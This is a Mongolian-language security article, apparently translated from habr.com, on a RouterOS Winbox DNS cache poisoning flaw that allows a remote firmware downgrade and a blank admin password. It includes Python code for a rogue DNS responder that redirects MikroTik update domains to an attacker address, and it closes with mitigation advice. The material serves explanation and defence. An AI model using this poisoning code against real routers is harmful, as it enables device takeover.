RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

RouterOS (Mikrotik) дээр суурилсан төхөөрөмжүүдийн зэрэглэлийг алсаас бууруулах чадвар нь олон зуун мянган сүлжээний төхөөрөмжийг эрсдэлд оруулдаг. Энэ эмзэг байдал нь Winbox протоколын DNS кэшийг хордуулсантай холбоотой бөгөөд хуучирсан (үндсэн нууц үг шинэчлэх) эсвэл өөрчилсөн програм хангамжийг төхөөрөмжид ачаалах боломжийг олгодог.

RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

Эмзэг байдлын дэлгэрэнгүй мэдээлэл

RouterOS терминал нь DNS хайлтыг шийдвэрлэх командыг дэмждэг.

RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

Энэ хүсэлтийг шийдвэрлэх гэж нэрлэгддэг хоёртын файлаар зохицуулдаг. Resolver нь RouterOS-ийн Winbox протоколд холбогддог олон хоёртын файлуудын нэг юм. Өндөр түвшинд Winbox порт руу илгээсэн "мессеж" нь массив дээр суурилсан дугаарлалтын схем дээр үндэслэн RouterOS-ийн янз бүрийн хоёртын файлууд руу чиглүүлж болно.

Анхдагч байдлаар, RouterOS нь DNS серверийн функцийг идэвхгүй болгосон байна.

RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

Гэсэн хэдий ч серверийн функц идэвхгүй болсон ч чиглүүлэгч нь өөрийн DNS кэшийг хадгалдаг.

RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

Бид жишээ нь example.com гэх мэт winbox_dns_request ашиглан хүсэлт гаргахад чиглүүлэгч үр дүнг кэшлэх болно.

RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

Бид хүсэлтийг илгээх DNS серверийг зааж өгч болох тул буруу хаяг оруулах нь тийм ч чухал биш юм. Жишээлбэл, та DNS серверийн хэрэгжилтийг дараахаас тохируулж болно Филип Клаус192.168.88.250 IP хаяг агуулсан А бичлэгээр үргэлж хариулах.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Хэрэв та Winbox ашиглан example.com-ыг хайвал чиглүүлэгчийн DNS кэш хордсон болохыг харж болно.

RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

Мэдээжийн хэрэг, example.com-ыг хордуулах нь тийм ч ашигтай биш, учир нь чиглүүлэгч үүнийг ашиглахгүй. Гэхдээ чиглүүлэгч нь upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com болон download.mikrotik.com руу нэвтрэх шаардлагатай. Мөн өөр нэг алдааны ачаар бүгдийг нэг дор хордуулах боломжтой.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Чиглүүлэгч нэг зөвшөөрөл хүссэн бөгөөд бид таван зөвшөөрлийг буцааж өгдөг. Чиглүүлэгч эдгээр бүх хариултыг зөв санахгүй байна.

RouterOS-ийн Backport-ийн эмзэг байдал нь олон зуун мянган төхөөрөмжийг эрсдэлд оруулдаг

Мэдээжийн хэрэг, энэ халдлага нь чиглүүлэгчийн үйлчлүүлэгчид халдлагад өртөх боломжийг олгодог тул чиглүүлэгч нь DNS серверийн үүрэг гүйцэтгэдэг бол бас ашигтай байдаг.

Энэ халдлага нь танд илүү ноцтой эмзэг байдлыг ашиглах боломжийг олгодог: RouterOS-ийн хувилбарыг бууруулж эсвэл буцаах. Халдагч нь өөрчлөлтийн бүртгэлийг оруулаад шинэчлэлтийн серверийн логикийг дахин бүтээж, RouterOS-ийг хуучирсан (эмзэг) хувилбарыг одоогийн гэж хүлээн зөвшөөрөхийг албаддаг. Энд байгаа аюул нь хувилбарыг "шинэчлэх" үед администраторын нууц үгийг анхдагч утга руу нь тохируулдаг - халдагчид системд хоосон нууц үгээр нэвтэрч болно!


Хэдийгээр дайралт нэлээд үр дүнтэй байгаа ч гэсэн зохиогч нь -тай холбоотой хэд хэдэн векторуудыг хэрэгжүүлдэг програм хангамжид арын хаалга оруулах, гэхдээ энэ нь аль хэдийн илүүдэл техник бөгөөд түүнийг хууль бус зорилгоор ашиглах нь хууль бус юм.

хамгаалах

Winbox-ыг зүгээр л идэвхгүй болгосноор эдгээр халдлагаас өөрийгөө хамгаалах боломжтой. Winbox-ээр дамжуулан удирдахад хялбар байсан ч SSH протоколыг ашиглах нь дээр.

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх